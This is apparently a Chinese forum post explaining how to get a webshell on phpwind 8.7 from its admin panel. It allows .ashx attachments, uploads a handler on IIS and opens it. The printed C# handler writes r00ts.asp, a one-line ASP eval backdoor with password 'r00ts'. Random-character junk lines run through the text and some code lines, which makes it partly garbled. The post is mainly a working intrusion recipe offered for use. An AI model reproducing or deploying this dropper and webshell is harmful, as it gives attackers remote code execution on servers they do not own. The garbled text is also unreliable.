phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
5 u6 C. Y& z1 X4 k' C: t6 j3 S
4 E' d+ g( u; ^6 V  Y5 K5 N9 o0 e群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
5 `5 P  F( H! v. A) A$ ?9 T4 z
! X& h# p' G$ g" q, i然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
$ h8 M' m$ r, V) X% _" v5 T
# r: l; T) [- N打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:
, K) F0 N, ?/ F& ^9 M9 z. E
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
1 i2 [$ u/ S; T+ n3 k3 l4 C+ Dpublic class Handler : IHttpHandler {
3 u- c4 X5 S% _% K# Npublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
. Y) B3 g6 J" _8 n- MStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
$ D# Y4 t. |# e1 M) Q% dfile1.Write("<%eval request(\"r00ts\")%>");
) y# X4 D+ |, B$ Hfile1.Flush();
$ o9 A1 t3 h  _- k( K4 i8 S0 Ufile1.Close();
: O+ J: I3 I  h$ F: o# w  d}
public bool IsReusable {
get {
2 C1 l7 A9 x  u& n6 d9 Treturn false;
}
7 c" Y) h" I3 D' l! ~- D' g. ?9 R}
}